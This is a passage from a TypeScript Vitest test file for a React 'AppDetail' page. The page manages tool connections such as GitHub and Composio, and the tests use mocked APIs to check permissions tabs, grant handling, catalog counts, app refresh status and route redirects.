mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-10-24 18:19:05 +02:00
2005 lines
81 KiB
TypeScript
2005 lines
81 KiB
TypeScript
// @vitest-environment jsdom
|
||
|
||
import { flushSync } from "react-dom";
|
||
import type { ReactNode } from "react";
|
||
import { createRoot } from "react-dom/client";
|
||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||
import { getAppStoreDefinition } from "@paperclipai/shared";
|
||
import type { AggregatorAppSnapshot, AggregatorAppsResponse } from "@paperclipai/shared/aggregator-apps";
|
||
import { queryKeys } from "@/lib/queryKeys";
|
||
import { rememberSkillSourceReturn, skillSourceReturnPath } from "@/lib/skill-source-connect-return";
|
||
import { AppDetail } from "./AppDetail";
|
||
import { APP_TABS } from "./app-tabs";
|
||
|
||
const getConnectionMock = vi.hoisted(() => vi.fn());
|
||
const getConnectionInstallsMock = vi.hoisted(() => vi.fn());
|
||
const listApplicationsMock = vi.hoisted(() => vi.fn());
|
||
const listGalleryMock = vi.hoisted(() => vi.fn());
|
||
const listConnectionsMock = vi.hoisted(() => vi.fn());
|
||
const listCatalogMock = vi.hoisted(() => vi.fn());
|
||
const listProfilesMock = vi.hoisted(() => vi.fn());
|
||
const listPoliciesMock = vi.hoisted(() => vi.fn());
|
||
const listConnectionActivityMock = vi.hoisted(() => vi.fn());
|
||
const listActionRequestsMock = vi.hoisted(() => vi.fn());
|
||
const listTestAgentsMock = vi.hoisted(() => vi.fn());
|
||
const getTestAgentAccessMock = vi.hoisted(() => vi.fn());
|
||
const updateConnectionMock = vi.hoisted(() => vi.fn());
|
||
const finishAppMock = vi.hoisted(() => vi.fn());
|
||
const deleteProfileMock = vi.hoisted(() => vi.fn());
|
||
const finalizeOAuthAccessMock = vi.hoisted(() => vi.fn());
|
||
const putConnectionInstallsMock = vi.hoisted(() => vi.fn());
|
||
const refreshCatalogMock = vi.hoisted(() => vi.fn());
|
||
const checkConnectionHealthMock = vi.hoisted(() => vi.fn());
|
||
const startOAuthMock = vi.hoisted(() => vi.fn());
|
||
const reconnectConnectionMock = vi.hoisted(() => vi.fn());
|
||
const listConnectionGrantsMock = vi.hoisted(() => vi.fn());
|
||
const revokeConnectionGrantMock = vi.hoisted(() => vi.fn());
|
||
const createConnectionGrantDelegationMock = vi.hoisted(() => vi.fn());
|
||
const revokeConnectionGrantDelegationMock = vi.hoisted(() => vi.fn());
|
||
const replaceConnectionGrantMembersMock = vi.hoisted(() => vi.fn());
|
||
const startPersonalAuthorizationMock = vi.hoisted(() => vi.fn());
|
||
const listUserDirectoryMock = vi.hoisted(() => vi.fn());
|
||
const getSessionMock = vi.hoisted(() => vi.fn());
|
||
const listAggregatorAppsMock = vi.hoisted(() => vi.fn());
|
||
const syncAggregatorAppsMock = vi.hoisted(() => vi.fn());
|
||
const mockNavigate = vi.hoisted(() => vi.fn());
|
||
const mockParams = vi.hoisted(() => ({ connectionId: "conn-1", tab: "permissions" as string | undefined }));
|
||
const mockSearchParams = vi.hoisted(() => ({ value: new URLSearchParams() }));
|
||
const navigateComponentMock = vi.hoisted(() => vi.fn());
|
||
const navigateTopLevelMock = vi.hoisted(() => vi.fn());
|
||
|
||
vi.mock("@/api/tools", () => ({
|
||
toolsApi: {
|
||
listAggregatorApps: (connectionId: string) => listAggregatorAppsMock(connectionId),
|
||
syncAggregatorApps: (connectionId: string, force: boolean) => syncAggregatorAppsMock(connectionId, force),
|
||
getConnection: (connectionId: string) => getConnectionMock(connectionId),
|
||
getConnectionInstalls: (connectionId: string) => getConnectionInstallsMock(connectionId),
|
||
listApplications: (companyId: string) => listApplicationsMock(companyId),
|
||
listGallery: (companyId: string) => listGalleryMock(companyId),
|
||
listConnections: (companyId: string) => listConnectionsMock(companyId),
|
||
listCatalog: (connectionId: string) => listCatalogMock(connectionId),
|
||
listProfiles: (companyId: string) => listProfilesMock(companyId),
|
||
deleteProfile: (profileId: string) => deleteProfileMock(profileId),
|
||
listPolicies: (companyId: string) => listPoliciesMock(companyId),
|
||
listConnectionActivity: (connectionId: string, limit: number) =>
|
||
listConnectionActivityMock(connectionId, limit),
|
||
listActionRequests: (companyId: string, status: string) =>
|
||
listActionRequestsMock(companyId, status),
|
||
listTestAgents: (connectionId: string) => listTestAgentsMock(connectionId),
|
||
getTestAgentAccess: (connectionId: string, agentId: string) =>
|
||
getTestAgentAccessMock(connectionId, agentId),
|
||
updateConnection: (connectionId: string, input: unknown) =>
|
||
updateConnectionMock(connectionId, input),
|
||
finishApp: (companyId: string, connectionId: string, input: unknown) =>
|
||
finishAppMock(companyId, connectionId, input),
|
||
finalizeOAuthAccess: (companyId: string, connectionId: string, input: unknown) =>
|
||
finalizeOAuthAccessMock(companyId, connectionId, input),
|
||
putConnectionInstalls: (connectionId: string, installs: unknown) =>
|
||
putConnectionInstallsMock(connectionId, installs),
|
||
archiveConnection: vi.fn(),
|
||
refreshCatalog: (connectionId: string) => refreshCatalogMock(connectionId),
|
||
checkConnectionHealth: (connectionId: string) => checkConnectionHealthMock(connectionId),
|
||
startOAuth: (connectionId: string, input?: unknown) => input === undefined
|
||
? startOAuthMock(connectionId)
|
||
: startOAuthMock(connectionId, input),
|
||
listConnectionGrants: (connectionId: string) => listConnectionGrantsMock(connectionId),
|
||
revokeConnectionGrant: (connectionId: string, grantId: string) =>
|
||
revokeConnectionGrantMock(connectionId, grantId),
|
||
createConnectionGrantDelegation: (connectionId: string, grantId: string, agentId: string) =>
|
||
createConnectionGrantDelegationMock(connectionId, grantId, agentId),
|
||
revokeConnectionGrantDelegation: (
|
||
connectionId: string,
|
||
grantId: string,
|
||
delegationId: string,
|
||
) => revokeConnectionGrantDelegationMock(connectionId, grantId, delegationId),
|
||
replaceConnectionGrantMembers: (connectionId: string, grantId: string, memberUserIds: string[]) =>
|
||
replaceConnectionGrantMembersMock(connectionId, grantId, memberUserIds),
|
||
startPersonalAuthorization: (companyId: string, connectionId: string, input: unknown) =>
|
||
startPersonalAuthorizationMock(companyId, connectionId, input),
|
||
reconnectConnection: (id: string, values: unknown) => reconnectConnectionMock(id, values),
|
||
},
|
||
}));
|
||
|
||
vi.mock("./AppLogo", () => ({
|
||
AppLogo: ({
|
||
name,
|
||
brandKey,
|
||
logoUrl,
|
||
allowRemoteFallback,
|
||
}: {
|
||
name: string;
|
||
brandKey?: string | null;
|
||
logoUrl?: string | null;
|
||
allowRemoteFallback?: boolean;
|
||
}) => (
|
||
<span
|
||
data-app-logo={name}
|
||
data-brand-key={brandKey ?? ""}
|
||
data-logo-url={logoUrl ?? ""}
|
||
data-allow-remote-fallback={allowRemoteFallback ? "true" : "false"}
|
||
/>
|
||
),
|
||
}));
|
||
|
||
vi.mock("@/api/access", () => ({
|
||
accessApi: {
|
||
listUserDirectory: (companyId: string) => listUserDirectoryMock(companyId),
|
||
},
|
||
}));
|
||
|
||
vi.mock("@/api/auth", () => ({
|
||
authApi: {
|
||
getSession: () => getSessionMock(),
|
||
},
|
||
}));
|
||
|
||
vi.mock("@/api/agents", () => ({
|
||
agentsApi: {
|
||
list: vi.fn().mockResolvedValue([
|
||
{ id: "agent-1", name: "Coder", title: "Engineer", status: "active" },
|
||
]),
|
||
},
|
||
}));
|
||
|
||
vi.mock("@/lib/browserNavigation", () => ({
|
||
navigateTopLevel: (target: string) => navigateTopLevelMock(target),
|
||
}));
|
||
|
||
vi.mock("@/lib/router", () => ({
|
||
useParams: () => mockParams,
|
||
useNavigate: () => mockNavigate,
|
||
useSearchParams: () => [mockSearchParams.value, vi.fn()],
|
||
Navigate: ({ to, replace }: { to: string; replace?: boolean }) => {
|
||
navigateComponentMock({ to, replace });
|
||
return <div data-navigate-to={to} />;
|
||
},
|
||
Link: ({ to, children, ...props }: { to: string; children: ReactNode }) => (
|
||
<a href={to} {...props}>
|
||
{children}
|
||
</a>
|
||
),
|
||
}));
|
||
|
||
vi.mock("@/context/CompanyContext", () => ({
|
||
useCompany: () => ({
|
||
selectedCompanyId: "company-1",
|
||
selectedCompany: { id: "company-1", name: "Paperclip" },
|
||
}),
|
||
}));
|
||
|
||
vi.mock("@/context/BreadcrumbContext", () => ({
|
||
useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }),
|
||
}));
|
||
|
||
const pushToastMock = vi.hoisted(() => vi.fn());
|
||
vi.mock("@/context/ToastContext", () => ({
|
||
useToast: () => ({ pushToast: pushToastMock }),
|
||
}));
|
||
|
||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||
(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
|
||
|
||
async function act(callback: () => void | Promise<void>) {
|
||
let result: void | Promise<void> = undefined;
|
||
flushSync(() => {
|
||
result = callback();
|
||
});
|
||
await result;
|
||
}
|
||
|
||
async function flushReact() {
|
||
for (let i = 0; i < 3; i += 1) {
|
||
await act(async () => {
|
||
await Promise.resolve();
|
||
await new Promise((resolve) => window.setTimeout(resolve, 0));
|
||
});
|
||
}
|
||
}
|
||
|
||
function connection(overrides: Record<string, unknown> = {}) {
|
||
return {
|
||
id: "conn-1",
|
||
companyId: "company-1",
|
||
applicationId: "app-1",
|
||
name: "GitHub",
|
||
connectionKind: "managed",
|
||
transport: "mcp_remote",
|
||
status: "active",
|
||
transportConfig: { url: "https://github.example/mcp" },
|
||
config: { url: "https://github.example/mcp" },
|
||
credentialSecretRefs: [],
|
||
credentialRefs: [],
|
||
healthStatus: "healthy",
|
||
healthCheckedAt: null,
|
||
lastError: null,
|
||
enabled: true,
|
||
lastUsedAt: null,
|
||
createdByAgentId: null,
|
||
createdByUserId: null,
|
||
createdAt: new Date("2026-01-01T00:00:00Z"),
|
||
updatedAt: new Date("2026-01-01T00:00:00Z"),
|
||
...overrides,
|
||
};
|
||
}
|
||
|
||
/** A member who may configure this connection and edit every agent. */
|
||
function fullCapabilities(overrides: Record<string, unknown> = {}) {
|
||
return {
|
||
canConfigure: true,
|
||
canCreateOrganizationGrant: true,
|
||
canSetCompanyInstall: true,
|
||
canConnectAsCurrentUser: true,
|
||
canManageAgentInstalls: true,
|
||
canViewOtherPersonalIdentities: false,
|
||
editableAgentIds: ["agent-1", "agent-2"],
|
||
...overrides,
|
||
};
|
||
}
|
||
|
||
function organizationGrant(overrides: Record<string, unknown> = {}) {
|
||
return {
|
||
id: "grant-org",
|
||
companyId: "company-1",
|
||
connectionId: "conn-1",
|
||
kind: "organization",
|
||
subjectUserId: null,
|
||
providerTenant: { name: "Notion workspace" },
|
||
credentialSecretRefs: [],
|
||
status: "active",
|
||
isDefault: true,
|
||
createdByAgentId: null,
|
||
createdByUserId: "user-1",
|
||
revokedAt: null,
|
||
revokedByAgentId: null,
|
||
revokedByUserId: null,
|
||
lastUsedAt: null,
|
||
createdAt: new Date("2026-01-01T00:00:00Z"),
|
||
updatedAt: new Date("2026-01-01T00:00:00Z"),
|
||
members: [],
|
||
capabilities: { canRevoke: true, canEditAudience: true },
|
||
...overrides,
|
||
};
|
||
}
|
||
|
||
function personalGrant(overrides: Record<string, unknown> = {}) {
|
||
return {
|
||
...organizationGrant(),
|
||
id: "grant-user",
|
||
kind: "user",
|
||
subjectUserId: "user-1",
|
||
providerTenant: null,
|
||
isDefault: false,
|
||
capabilities: { canRevoke: true, canEditAudience: false },
|
||
...overrides,
|
||
};
|
||
}
|
||
|
||
function dedicatedGitHubGrant(
|
||
overrides: Record<string, unknown> = {},
|
||
githubOverrides: Record<string, unknown> = {},
|
||
) {
|
||
return organizationGrant({
|
||
id: "grant-agent",
|
||
kind: "agent",
|
||
subjectAgentId: "agent-1",
|
||
subjectUserId: null,
|
||
isDefault: false,
|
||
providerTenant: {
|
||
github: {
|
||
userId: "123",
|
||
login: "dottabot",
|
||
installationCount: 1,
|
||
repositoryCount: 1,
|
||
repositorySelection: "selected",
|
||
installationIds: ["456"],
|
||
installationOwnerLogins: ["paperclipai"],
|
||
repositories: [{ id: "789", fullName: "paperclipai/test-repo", installationId: "456" }],
|
||
installationUrl: "https://github.com/apps/paperclip-test/installations/new",
|
||
managementUrl: "https://github.com/settings/installations/456",
|
||
webhookHealth: "pending",
|
||
lastWebhookAt: null,
|
||
lastAccessRefreshAt: "2026-09-05T12:00:00.000Z",
|
||
...githubOverrides,
|
||
},
|
||
},
|
||
...overrides,
|
||
});
|
||
}
|
||
|
||
function catalogEntry(overrides: Record<string, unknown> = {}) {
|
||
return {
|
||
id: "catalog-read",
|
||
companyId: "company-1",
|
||
connectionId: "conn-1",
|
||
toolName: "read_repo",
|
||
title: "Read repo",
|
||
description: "Read repository metadata",
|
||
status: "active",
|
||
isReadOnly: true,
|
||
riskLevel: "read",
|
||
createdAt: new Date("2026-01-01T00:00:00Z"),
|
||
updatedAt: new Date("2026-01-01T00:00:00Z"),
|
||
...overrides,
|
||
};
|
||
}
|
||
|
||
function setInputValue(input: HTMLInputElement, value: string) {
|
||
const setter = Object.getOwnPropertyDescriptor(
|
||
window.HTMLInputElement.prototype,
|
||
"value",
|
||
)?.set;
|
||
setter?.call(input, value);
|
||
input.dispatchEvent(new Event("input", { bubbles: true }));
|
||
}
|
||
|
||
function aggregatorApps(apps: AggregatorAppSnapshot[] = []): AggregatorAppsResponse {
|
||
return {
|
||
provider: "composio", apps, discovery: { availability: "available", message: null },
|
||
sync: { status: "ready", coverage: "supported_catalog", checked: 2, total: 2, failed: 0,
|
||
lastCompletedAt: new Date().toISOString(), error: null },
|
||
};
|
||
}
|
||
|
||
function observedApp(toolkit: string, name: string, overrides: Partial<AggregatorAppSnapshot> = {}): AggregatorAppSnapshot {
|
||
return { connectionId: "conn-1", provider: "composio", appSlug: toolkit, appName: name, toolkit,
|
||
status: "connected", freshness: "fresh", checkedAt: new Date().toISOString(), errorAt: null,
|
||
accounts: [{ id: `${toolkit}-account`, alias: null, status: "ACTIVE", isDefault: true }], ...overrides };
|
||
}
|
||
|
||
describe("AppDetail", () => {
|
||
let container: HTMLDivElement;
|
||
let root: ReturnType<typeof createRoot>;
|
||
|
||
beforeEach(() => {
|
||
sessionStorage.clear();
|
||
container = document.createElement("div");
|
||
document.body.appendChild(container);
|
||
mockParams.connectionId = "conn-1";
|
||
mockParams.tab = "permissions";
|
||
mockSearchParams.value = new URLSearchParams();
|
||
getConnectionMock.mockResolvedValue(connection());
|
||
listAggregatorAppsMock.mockResolvedValue(aggregatorApps());
|
||
syncAggregatorAppsMock.mockResolvedValue(aggregatorApps());
|
||
getConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
|
||
listApplicationsMock.mockResolvedValue({
|
||
applications: [{ id: "app-1", applicationKey: "github", name: "GitHub", status: "active" }],
|
||
});
|
||
listConnectionsMock.mockResolvedValue({ connections: [] });
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
});
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [
|
||
{
|
||
key: "github",
|
||
name: "GitHub",
|
||
logoUrl: "https://example.com/github.png",
|
||
tagline: "GitHub tagline",
|
||
description: "Give agents a governed way to inspect repositories and pull requests.",
|
||
authKind: "api_key",
|
||
transportTemplate: { transport: "mcp_remote", url: "https://github.example/mcp" },
|
||
credentialFields: [],
|
||
recommendedDefaults: {},
|
||
urlPatterns: [],
|
||
},
|
||
],
|
||
});
|
||
listCatalogMock.mockResolvedValue({
|
||
catalog: [
|
||
catalogEntry(),
|
||
catalogEntry({
|
||
id: "catalog-write",
|
||
toolName: "write_issue",
|
||
title: "Write issue",
|
||
description: "Create or update an issue",
|
||
isReadOnly: false,
|
||
}),
|
||
catalogEntry({
|
||
id: "catalog-quarantined",
|
||
toolName: "delete_repo",
|
||
title: "Delete repo",
|
||
status: "quarantined",
|
||
isReadOnly: false,
|
||
}),
|
||
],
|
||
});
|
||
listProfilesMock.mockResolvedValue({
|
||
profiles: [
|
||
{
|
||
profileKey: "app:conn-1",
|
||
entries: [
|
||
{ effect: "include", catalogEntryId: "catalog-read" },
|
||
{ effect: "include", catalogEntryId: "catalog-write" },
|
||
],
|
||
bindings: [{ targetType: "company" }],
|
||
},
|
||
],
|
||
});
|
||
listPoliciesMock.mockResolvedValue({
|
||
policies: [
|
||
{
|
||
policyType: "require_approval",
|
||
enabled: true,
|
||
config: {
|
||
source: "app_gallery_finish",
|
||
connectionId: "conn-1",
|
||
catalogEntryId: "catalog-write",
|
||
},
|
||
},
|
||
],
|
||
});
|
||
listConnectionActivityMock.mockResolvedValue({ events: [], issues: {}, actionRequests: {} });
|
||
listActionRequestsMock.mockResolvedValue({ actionRequests: [] });
|
||
listTestAgentsMock.mockResolvedValue({ agents: [] });
|
||
updateConnectionMock.mockResolvedValue(connection({ enabled: false }));
|
||
finishAppMock.mockResolvedValue({});
|
||
deleteProfileMock.mockResolvedValue({ deleted: true });
|
||
finalizeOAuthAccessMock.mockResolvedValue({});
|
||
putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
|
||
checkConnectionHealthMock.mockResolvedValue({ connection: connection(), healthStatus: "ok" });
|
||
refreshCatalogMock.mockResolvedValue({ discoveredCount: 0, quarantinedCount: 0, catalog: [] });
|
||
startOAuthMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
provider: "smoke_lab",
|
||
authorizationUrl: "https://example.test/oauth",
|
||
expiresAt: "2026-07-10T00:00:00.000Z",
|
||
});
|
||
createConnectionGrantDelegationMock.mockResolvedValue({
|
||
id: "delegation-1",
|
||
grantId: "grant-user",
|
||
agentId: "agent-1",
|
||
});
|
||
revokeConnectionGrantDelegationMock.mockResolvedValue({});
|
||
listUserDirectoryMock.mockResolvedValue({ users: [] });
|
||
getSessionMock.mockResolvedValue({
|
||
user: { id: "user-1", name: "Dotta", image: null },
|
||
session: { userId: "user-1" },
|
||
});
|
||
});
|
||
|
||
afterEach(() => {
|
||
flushSync(() => root?.unmount());
|
||
container.remove();
|
||
vi.restoreAllMocks();
|
||
vi.clearAllMocks();
|
||
});
|
||
|
||
async function renderAppDetail() {
|
||
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
root = createRoot(container);
|
||
await act(async () => {
|
||
root.render(
|
||
<QueryClientProvider client={client}>
|
||
<AppDetail />
|
||
</QueryClientProvider>,
|
||
);
|
||
});
|
||
await flushReact();
|
||
return client;
|
||
}
|
||
|
||
function useComposioConnection() {
|
||
getConnectionMock.mockResolvedValue(connection({ name: "Composio", authKind: "oauth",
|
||
config: { sourceTemplateKey: "composio", connectionMethodKey: "mcp" } }));
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: "app-1", applicationKey: "composio", name: "Composio", metadata: { sourceTemplateKey: "composio" } }] });
|
||
}
|
||
|
||
it("refreshes connected apps on first load, shows progress, and exposes the completed inventory", async () => {
|
||
useComposioConnection();
|
||
const prior = aggregatorApps([observedApp("airtable", "Airtable")]);
|
||
const completed = aggregatorApps([observedApp("circleback-mcp", "Circleback")]);
|
||
listAggregatorAppsMock.mockResolvedValue(prior);
|
||
syncAggregatorAppsMock.mockResolvedValue({ ...prior, sync: { ...prior.sync, status: "syncing", checked: 0 } });
|
||
const client = await renderAppDetail();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Refreshing apps… 0 of 2"));
|
||
expect(syncAggregatorAppsMock).toHaveBeenCalledTimes(1);
|
||
expect(syncAggregatorAppsMock).toHaveBeenCalledWith("conn-1", true);
|
||
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(true);
|
||
expect(container.textContent).not.toContain("Provider permissions come from your last sign-in");
|
||
expect(container.textContent).not.toContain("Reconnect to update permissions");
|
||
listAggregatorAppsMock.mockResolvedValue(completed);
|
||
await act(async () => { await client.refetchQueries({ queryKey: queryKeys.tools.aggregatorApps("conn-1", "user-1"), exact: true }); });
|
||
await flushReact();
|
||
const list = container.querySelector('ul[aria-label="Connected Composio apps"]')!;
|
||
expect(list.textContent).toContain("Circleback");
|
||
expect(list.textContent).not.toContain("Airtable");
|
||
expect(container.textContent).toContain("Apps refreshed.");
|
||
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(false);
|
||
expect(syncAggregatorAppsMock).toHaveBeenCalledTimes(1);
|
||
});
|
||
|
||
it("manual refresh updates only this gateway and retains previous apps when it fails", async () => {
|
||
useComposioConnection();
|
||
const observed = aggregatorApps([observedApp("notion", "Notion")]);
|
||
listAggregatorAppsMock.mockResolvedValue(observed);
|
||
syncAggregatorAppsMock.mockResolvedValue(observed);
|
||
await renderAppDetail();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
|
||
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(false);
|
||
syncAggregatorAppsMock.mockRejectedValueOnce(new Error("Authorization expired"));
|
||
await act(async () => container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')!.click());
|
||
await flushReact();
|
||
await vi.waitFor(() => expect(container.querySelector('[role="alert"]')?.textContent).toContain("Last known apps are shown."));
|
||
expect(container.querySelector('ul[aria-label="Connected Composio apps"]')?.textContent).toContain("NotionNot verified");
|
||
expect(syncAggregatorAppsMock.mock.calls).toEqual([["conn-1", true], ["conn-1", true]]);
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("groups provider variants and displays sign-in status without treating unseen apps as connected", async () => {
|
||
useComposioConnection();
|
||
const observed = aggregatorApps([
|
||
observedApp("notion", "Notion"), observedApp("notion_mcp", "Notion", { appSlug: "notion" }),
|
||
observedApp("slack", "Slack", { accounts: [{ id: "expired", alias: null, status: "EXPIRED", isDefault: false }] }),
|
||
observedApp("github", "GitHub", { status: "not_connected", accounts: [] }),
|
||
]);
|
||
listAggregatorAppsMock.mockResolvedValue(observed);
|
||
syncAggregatorAppsMock.mockResolvedValue(observed);
|
||
await renderAppDetail();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
|
||
const list = container.querySelector('ul[aria-label="Connected Composio apps"]')!;
|
||
expect(list.querySelectorAll("li")).toHaveLength(2);
|
||
expect(list.textContent).toContain("Notion2 accountsConnected");
|
||
expect(list.textContent).toContain("SlackNeeds sign-in");
|
||
expect(list.textContent).not.toContain("GitHub");
|
||
});
|
||
|
||
it("keeps unavailable discovery explicit without automatically retrying unsupported gateways", async () => {
|
||
useComposioConnection();
|
||
listAggregatorAppsMock.mockResolvedValue({ ...aggregatorApps(), discovery: { availability: "unsupported", message: "Account discovery unavailable." } });
|
||
await renderAppDetail();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Account discovery unavailable."));
|
||
expect(syncAggregatorAppsMock).not.toHaveBeenCalled();
|
||
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(true);
|
||
});
|
||
|
||
it.each([
|
||
["UNVERIFIED", "Not verified"],
|
||
["INITIATED", "Waiting for sign-in"],
|
||
["EXPIRED", "Needs sign-in"],
|
||
])("shows %s provider health as %s", async (status, label) => {
|
||
useComposioConnection();
|
||
const observed = aggregatorApps([observedApp("notion", "Notion", {
|
||
accounts: [{ id: "account", alias: null, status, isDefault: false }],
|
||
})]);
|
||
listAggregatorAppsMock.mockResolvedValue(observed);
|
||
syncAggregatorAppsMock.mockResolvedValue(observed);
|
||
await renderAppDetail();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
|
||
expect(container.querySelector('ul[aria-label="Connected Composio apps"]')?.textContent).toBe(`Notion${label}`);
|
||
});
|
||
|
||
it("does not request manager-only account inventory without configuration access", async () => {
|
||
useComposioConnection();
|
||
listConnectionGrantsMock.mockResolvedValue({ grants: [], capabilities: fullCapabilities({ canConfigure: false }), currentUserId: "user-1", members: [] });
|
||
await renderAppDetail();
|
||
expect(listAggregatorAppsMock).not.toHaveBeenCalled();
|
||
expect(syncAggregatorAppsMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).not.toContain("Connected apps");
|
||
});
|
||
|
||
it.each([
|
||
{ transport: "rest_api", config: { sourceTemplateKey: "composio", connectionMethodKey: "api-key" } },
|
||
{ transport: "mcp_remote", config: { provider: "composio", parentConnectionId: "old-parent", toolkitSlug: "github" } },
|
||
])("shows replacement and explicit removal for a retired Composio record", async (legacy) => {
|
||
getConnectionMock.mockResolvedValue(connection({ ...legacy, enabled: false, healthStatus: "error" }));
|
||
await renderAppDetail();
|
||
expect(container.textContent).toContain("Connection retired");
|
||
expect(container.textContent).toContain("Remove each obsolete connection separately");
|
||
expect(container.textContent).not.toContain("Paused");
|
||
expect(container.textContent).not.toContain("Refresh actions");
|
||
const replacement = Array.from(container.querySelectorAll("button")).find((b) => b.textContent === "Add Composio MCP connection")!;
|
||
await act(async () => replacement.click());
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?source=composio");
|
||
const danger = Array.from(container.querySelectorAll("button")).find((b) => b.textContent?.includes("Danger zone"))!;
|
||
await act(async () => danger.click());
|
||
expect(container.textContent).toContain("Remove app");
|
||
expect(Array.from(container.querySelectorAll("button")).some((b) => b.textContent === "Reconnect")).toBe(false);
|
||
});
|
||
|
||
it("uses Permissions as the primary connection page and has no Setup tab", () => {
|
||
expect(APP_TABS.map((tab) => tab.key)).toEqual([
|
||
"permissions",
|
||
"review",
|
||
]);
|
||
});
|
||
|
||
it("allows the gallery logo fallback after application identity lookup fails", async () => {
|
||
listApplicationsMock.mockRejectedValueOnce(new Error("Application lookup unavailable"));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.querySelector("[data-app-logo]")?.getAttribute("data-allow-remote-fallback")).toBe("true");
|
||
});
|
||
|
||
it("keeps a customized connection logo after application identity lookup fails", async () => {
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
name: "Dotta's source control",
|
||
config: {
|
||
url: "https://github.example/mcp",
|
||
sourceTemplateKey: "github",
|
||
},
|
||
}));
|
||
listApplicationsMock.mockRejectedValueOnce(new Error("Application lookup unavailable"));
|
||
|
||
await renderAppDetail();
|
||
|
||
const logo = container.querySelector("[data-app-logo]");
|
||
expect(logo?.getAttribute("data-brand-key")).toBe("github");
|
||
expect(logo?.getAttribute("data-logo-url")).toBe("https://example.com/github.png");
|
||
expect(logo?.getAttribute("data-allow-remote-fallback")).toBe("true");
|
||
});
|
||
|
||
it("keeps the unverified-server marker on URL-only connection details", async () => {
|
||
getConnectionMock.mockResolvedValue(
|
||
connection({
|
||
name: "127.0.0.1",
|
||
config: { url: "http://127.0.0.1:8848/mcp" },
|
||
transportConfig: { url: "http://127.0.0.1:8848/mcp" },
|
||
}),
|
||
);
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Custom app");
|
||
expect(container.textContent).toContain("hosted at 127.0.0.1");
|
||
expect(container.textContent).toContain("Unverified server");
|
||
expect(container.textContent).toContain("127.0.0.1:8848");
|
||
});
|
||
|
||
it("redirects a missing tab to Permissions", async () => {
|
||
mockParams.tab = undefined;
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true });
|
||
});
|
||
|
||
it.each([
|
||
["review", "Review 1 new action"],
|
||
["permissions", "Which agents can use this connection?"],
|
||
])("renders the %s tab panel", async (tab, expectedText) => {
|
||
mockParams.tab = tab;
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("GitHub");
|
||
expect(container.textContent).toContain("2 actions available");
|
||
expect(container.textContent).toContain(expectedText);
|
||
expect(container.textContent).not.toContain("Setup");
|
||
expect(container.querySelector("section.bg-card")).toBeNull();
|
||
});
|
||
|
||
it("counts only active catalog entries as available actions", async () => {
|
||
mockParams.tab = "permissions";
|
||
listCatalogMock.mockResolvedValue({
|
||
catalog: [
|
||
catalogEntry(),
|
||
catalogEntry({ id: "catalog-disabled", toolName: "disabled_action", status: "disabled" }),
|
||
catalogEntry({ id: "catalog-quarantined", toolName: "pending_action", status: "quarantined" }),
|
||
catalogEntry({ id: "catalog-removed", toolName: "removed_action", status: "removed" }),
|
||
],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("1 action available");
|
||
expect(container.textContent).not.toContain("2 actions available");
|
||
});
|
||
|
||
it.each(["setup", "advanced"])("redirects the retired %s route to Permissions", async (tab) => {
|
||
mockParams.tab = tab;
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({
|
||
to: "/apps/conn-1/permissions",
|
||
replace: true,
|
||
});
|
||
});
|
||
|
||
it("shows an explicit lazy-loading state while a tool tab discovers actions", async () => {
|
||
mockParams.tab = "permissions";
|
||
listCatalogMock.mockImplementation(() => new Promise(() => undefined));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("GitHub");
|
||
expect(container.textContent).toContain("Loading tools…");
|
||
expect(container.textContent).not.toContain("Action permissions");
|
||
});
|
||
|
||
it("redirects the retired Test tab into Permissions", async () => {
|
||
mockParams.tab = "test";
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true });
|
||
});
|
||
|
||
it("confirms a successful connection on Permissions and clears the one-time URL flag", async () => {
|
||
mockParams.tab = "permissions";
|
||
mockSearchParams.value = new URLSearchParams("success=1");
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(pushToastMock).toHaveBeenCalledWith({
|
||
title: "GitHub connected",
|
||
